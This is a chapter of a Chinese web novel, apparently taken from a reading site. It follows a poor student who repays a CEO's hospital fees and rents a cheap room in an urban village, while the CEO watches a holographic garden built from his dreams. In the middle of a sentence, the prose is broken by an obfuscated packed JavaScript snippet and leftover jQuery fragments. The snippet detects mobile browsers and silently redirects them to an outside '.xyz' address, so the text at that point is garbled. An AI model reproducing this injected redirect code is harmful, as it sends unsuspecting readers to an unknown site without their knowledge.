默认冷灰
24号文字
方正启体

9. 租房

作者:绾州本书字数:K更新时间:
    言晚醒后,烧退了,胃也不疼了,年轻就是好,再怎么折腾,也能极快地恢复。


    不忍心浪费护工阿姨带来的早点,洗漱后他喝了半碗粥。


    拿到缴费清单后,终于忍不住肉疼。


    一千六百五,他没有医保。


    绝望的穷逼拿着原主的银行卡,忍痛取了一千五百块巨额现金,加上从书包夹层里抠抠搜搜数出来的一堆五块十块,包在医院便签纸里。


    住院的钱,潭深帮他交过了,对一个总裁来说,这点钱不算什么,但言晚很讨厌欠别人的。


    这钱,他不还,心底永远会有一个疙瘩。


    办好出院手续,他刚想让护工阿姨把钱转交给潭深,看见阿姨一张殷勤的脸,言晚两眼一闭,绝望到窒息。


    差点忘了,潭深付了阿姨一千块的护工费。


    言晚认命地又去柜台取回一千,连着草草写着“谢谢”两个字的便签条,包裹着一千六百五纸币,一并塞到阿姨手里。


    “麻烦帮我交给潭总,谢谢阿姨!”


    不等阿姨追上来,他拔腿就跑。


    出了医院,言晚蹲在马路牙子上,抱着三块钱的午饭啃,除了鸡蛋什么都不加的煎饼。


    一手捏着皱巴巴的几张纸币,一手攥着只剩三千五的银行卡。


    这就是他的全部家当了。


    他需要找一个住的地方落脚,今晚十点还要去夜空会所打工,时间紧凑,言晚顾不上腿上淤青,忍着钝痛,掏出他的老年机,给打工搭子叶池打了个电话。


    “你现在有空吗?麻烦你了,我想找一个便宜点的房子租。预算?唔……八百?最好是能押一付一,符合条件的……落雨巷是吗?好像就在我附近,我看看哈。”


    穿过繁华的城市大街,一片尚未来得及拆迁的城中村映入眼帘。


    言晚一瘸一拐地朝着小破巷子里走去。


    ·


    另一边,寸土寸金的市中心,金融区矗立着潭氏公司大楼。


    玻璃幕墙与钢结构结合,流线型的几何造型设计,极具艺术感,从公司大门到内部的任何一个会议室,遍及智能化,犹如炫技的展厅,说是前沿科技的标杆也不为过。


    祝特助在保安室见到医院的护工阿姨。


    阿姨将一叠薄薄的现金交给他,急得抹了把额头的汗:“那孩子跑的太快了,我没追上,这是他让我转交给潭总的,我没那孩子的电话,还不回去,只能送到这儿来了。”


    祝特助皱眉:“他出院了?状况怎么样?”


    阿姨说:“看着没什么问题了,精神不错,要不然医生也不会同意出院,就是太急了。”


    “好,辛苦了。”


    祝特助点头,拿出手机转账。


    除了昨天支付的一千护工费用,又给满头大汗的阿姨转了五百的路费。


    一路乘着专梯回到总裁办,发现刚应付完饭局的潭深正在休息室午睡,祝特助微讶。


    潭总从来没有午睡的习惯。


    这是头一回。


    潭深昨晚一夜没睡,高强度的工作不至于让他疲惫,只是昨晚的梦一直萦绕在脑海里,让他莫名焦躁。


    昨夜凌晨三点,潭深从梦中醒来。


    他已经习惯了这样的梦,常常能梦见那个住在海岛上的青年。


    青年每天都穿着正装,即便他从没走出过那栋别墅,没有赴约或者工作的需求。


    似乎只是在等待谁,迎接谁。


    他每天弹琴沏茶,偶尔会去花园里莳花弄草,除此之外,会看一些书打发时间。


    潭深发现他不喜欢弹琴,也很讨厌学习茶艺,但这些事占据了他一天中绝大多数时间。


    他喜欢画画,沉浸在画的世界里,会忘记身边的一切,难得的笑容也只在这个时候展露。


    但似乎,他并不被允许画画,沾上颜料的手指被搓破了皮,那些带着阳光和暖意的作品撕毁在垃圾桶里,他被没收了通往快乐的作案工具,而后再也没画过一张画。


    青年日渐抑郁。


    他的身上莫名出现很多伤口,后背有鞭笞的痕迹,脖颈有掐过的指痕。


    他会捂着脸无声哭泣,他砸碎了别墅里所有的镜子,他捡起镜子碎片划破自己的脸……


    多次梦境的片段融合后,潭深终于发现,这座海岛别墅是囚禁青年的牢笼。


    他被禁锢了自由。


    而昨晚的梦里,青年再也忍受不了这样的生活。


    他想用自毁的方式,结束生命。


    那只是一个荒诞的梦,醒来后,一切都归于虚无。


    偏偏潭深再也无法入睡。


    他按照习惯,如往常一样去了三楼。


    别墅三楼没有卧室,整个空间被打通,吊顶很高,墙面和地面铺满了LED地砖屏,这里24小时不断电,推开门的一瞬间,如同步入异世界,处处布满交互式设计。


    全息投影配合LED巨屏,打造了一个光和日丽的花园洋房。


    海鸥飞过浪潮,月季爬满漆白的栏杆和藤墙,阳光将小院染地温暖,空气中似乎弥漫着卡布奇诺和焦糖饼干的香味。


    香槟色的花架下,秋千轻轻晃动,青年手持画笔,穿着月白色丝绸家居服,怀里抱着一只长毛猫,静静睡着,像是一个寻常的午后小憩。


    一侧的画架上,是画到一半的油画。


    无尽夏在他的笔下绽放,连绵成片。


    他显然是一个不拘小节的画家。


    油彩沾了满身,粉的紫的蓝的,衣摆袖口手指鼻尖,都染满了夏初的鲜活。


    过长的额发遮住大半张脸,只露出柔和漂亮的下颌线,以及一双淡粉色的柔软唇瓣。


    空间内的一切都无比真实,构建细致,用上了最高端的前沿科技。


    唯独他的脸没有完成建模。


    因为……潭深从没在梦里看清过他的模样。


    海水浪浪,鸟鸣不歇,鲜花风中摇曳,猫儿敞开肚皮发出呼噜声。


    柔风卷着花瓣,吻上青年鼻尖。


    他醒来,继续创作,画笔触在画布上,发出摩擦声。


    潭深坐在棕灰色的沙发上,是这片空间里唯一格格不入的物件。


    他看着他画画,他知道他会完成一副花园里的无尽夏,他不需要预判,也知道这个重复了无数次的结果,竟也像第一次观摩一样,期待着作品。


    花园里的时间,从午后到夕阳西下,天色渐暗。


    现实里的窗外,从深夜到破晓天明,晨光熹微。


    青年放下画笔,慵懒地抱着猫儿走进爬满鲜花的洋房。


    潭深走出房间,换上西装打好领带,开车去公司上班。


    他一夜没睡,他的“花园”安抚了他的噩梦。


    焦躁在午休之后,有所缓解。


    他刚醒,洗了把脸,见祝礼欲言又止,视线瞥向他手中拿着的薄薄一叠现金。


    “那小孩自己办理的出院,护工说医生同意的,没有什么大碍了,这是他……”祝礼有些尴尬,自家老板的情,人家没领。


    “还我的住院费?”潭深挑眉,眸色微妙。


    祝礼点头,递过现金,连带着那张印了市医院logo的便签。


    ——谢谢。


    没有多余的废话。


    他的字并不像长相那样稚嫩,尽管这两个字写得认真,一笔一画都很仔细,却有一股说不出的飘逸洒脱,像花园里铲不掉的劲草,是旷野上迎风摇摆的生命。


    二十几张百元纸币崭新,夹杂着几张五块十块,捏得皱巴巴的,又被努力展平过。


    潭深没多说什么,将现金塞进抽屉里。


    继“不爱吃苦”和“性子很倔”之后,潭深在心底的备忘录里加了一条“不喜欢欠别人的。”


    ·


    叶池在咖啡店打工,没空陪言晚看房子,他本来想说请个假过来,被言晚拒绝了。


    落雨巷以前为什么叫这个名字,言晚不知道,但他算是明白为什么现在叫落雨巷了。


    今天是个晴天,但巷子里的砖板路上到处都是积水,头顶随处可见乱拉的电线,挂满了衣裳床单,在狭窄的不那么容易见到太阳的巷子里,散发着一股股霉味。


    等待拆迁的城中村居住环境恶劣,年轻人不愿意留在这里,原住民都是上了年纪的老人,以及外出务工拖家带口的民工。


    无人照看的小孩奔跑在巷头巷尾,脸上洋溢着原始的快乐。


    区别于享受城市优等教育的孩子,这里的小孩是野生长大的。


    在城市孩子穿着公主裙小西装,花着高昂的费用学习舞蹈和钢琴的时候,巷子里的孩子要清洗一家人的衣服,大的带着小的,充当了妈妈的角色。


    没有玩具,一根充当宝剑的竹棍,一块披在肩上的破布,也能让“大侠”和“公主”愉快地玩一整天。


    即便这样简陋,原主也在羡慕。


    「从我记事起,就没见过我爸妈,最早的时候,是奶奶照顾我,住在村里,村里的大人会警告自家孩子,让他们不要跟我玩,说我会吃人,我就在田埂边看他们玩,后来他们跑得很远,不让我看,我就和蚂蚁玩,和小鸟玩,只要一点点馒头屑,小鸟就会赖在我旁边,叽叽喳喳地和我聊天。」


    言晚想象着那个画面,噗嗤一声笑出来:“原来你是公主呀!”


    「……」


    “我没说错呀,能和小动物沟通,小鸟会追着你飞,你不是迪士尼公主是什么?”


    原主也笑了,有点害羞,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438564|169320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    很小声地反驳:「你不要乱说。」


    “好的,公主。”


    「…………」


    晴天的落雨巷,始终阴暗潮湿。


    但廉价的租金实在令人心动,在寸土寸金的市中心,交通便利,距离打工的地方又近,还只要八百块!


    好心的房东奶奶带着言晚看了一圈,最终选择了二楼朝南的房间。


    从室外楼梯走来上,是连排的房门,房间不大,只有十几平,朝西的阳台隔出一个厨房和卫生间,漆绿的窗框嵌合了上个世纪的菱花玻璃,白色纱帘被风吹开,阳光洒在窗台前的餐桌上。


    “这个位置不错,窗外没有遮挡,通风也好,最重要的是有阳光!言小晚,你还在长身体,要多晒太阳,人不晒太阳会emo的。”


    只是价格上,要贵两百块。


    阳光费嘛,值得!


    言晚测过身高,目前176,他觉得晒晒太阳还能再长几公分,争取蹿到180。


    房东奶奶见言晚长得乖,性格也好,答应了押一付一。


    尽管月租只要1000,但对余额仅有3582的言晚来说,是一笔巨大的开销。


    是必要支出,这钱省不得。


    言晚签下合同,用两个小时打扫干净房间,又去了趟超市,斥巨资花了三百多买了床单被褥,烧水壶等一些必要的生活用品。


    忙完之后,一看时间,已经晚上八点多了。


    匆匆忙忙啃完一个包子,叶池的电话就打了过来。


    “落雨巷你租下来了?”


    “嗯,租了,”言晚咽下嘴里的食物,很客气地说,“谢谢你的推荐哈,我还挺满意的。”


    “嗯,住在城中村,要注意安全,你门锁最好换一个,我看到五金店了,你住哪里?我顺路过来给你换个门锁。”


    “啊……不用麻烦的。”


    电话那头,叶池在和一个中年男人说话,似乎已经买好了锁芯,笑着说:“咱们认识那么久了,干嘛这么客气,我打工的咖啡店刚好就在附近,顺路接你一起去夜空。”


    言晚只好应下,报了地址。


    不得不说,叶池也就比他大两岁,但在独立生活这方面很强,门锁换得很快,顺便还帮言晚换了灯泡。


    “这种灯太暗了,你不是还在准备高考嘛,晚上看书对眼睛不好,换个亮点的灯。”


    言晚有些无所适从,想把门锁和灯泡的钱还给叶池,对方摆摆手,笑着说:“别跟我客气,你要实在感谢我,等下请我吃个甜筒好了。”


    言晚眼睛亮起来,他也想吃甜筒。


    灯泡换下,通了电,屋里瞬间亮堂起来。


    原本因为光线昏暗,而被忽略的细节也明显显露。


    叶池刚洗完手走出卫生间,目光触及言晚的侧脸,眉头皱起:“你那个弟弟对你动手了?”


    “啊?”言晚才反应过来,他脸上的红肿已经快好了,但还残留了一点印子没消下去,他下意识捂住脸,“跟他没关系。”


    叶池不信,脸色很难看:“他下次要是还来找你,我帮你揍他!”


    配上一米八五的大高个,肌肉流畅的胳膊,以及一张嫉恶如仇的脸,言晚觉得叶池真能干得出这种事。


    有人为他愤愤不平,想要替他出头。


    这种感觉很陌生,言晚不但不排斥,甚至有点高兴。


    默默在心底把叶池划分到“朋友”的范畴。


    原主和叶池认识有大半年了,根据他的介绍,言晚大致了解了叶池——一出豪门狗血戏剧遗留下的倒霉蛋。


    叶池是私生子,他的母亲曾经是一个出台小姐,被他父亲包养后,意外怀孕,得知被原配调查,她没有纠缠男人,而是离开了那个城市,独自生下叶池。


    在叶池八岁的时候,原配得知私生子的存在,这么多年她没有男人的孩子,而这个孩子会成为池家唯一的继承人,原配想出了一个去母留子的法子。


    最后,叶池的母亲死了,叶池不会给仇人当儿子,也拒绝了父亲的任何帮助。


    哪怕生活没那么富足,哪怕打很多份工很累,哪怕会被一些阔少刁难,他都没有后悔过。


    何况,他现在还有一个打工搭子……


    言晚很好。


    一出落雨巷巷口,就像走进了另一个世界,身后是破旧的上个世纪,眼前是21世纪的繁华都市,附近的甜品店还在营业,言晚高高兴兴买了两只甜筒。


    抹茶味的给叶池,珍珠奶茶味的给自己和言小晚。


    两人握着冰淇淋,并肩往地铁站方向走去。


    车笛鸣响,不允许久停的路边,后车催促不断。


    潭翊潇目光烦躁,神情阴沉,不耐烦地熄了指尖香烟,一脚油门驶离巷口。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)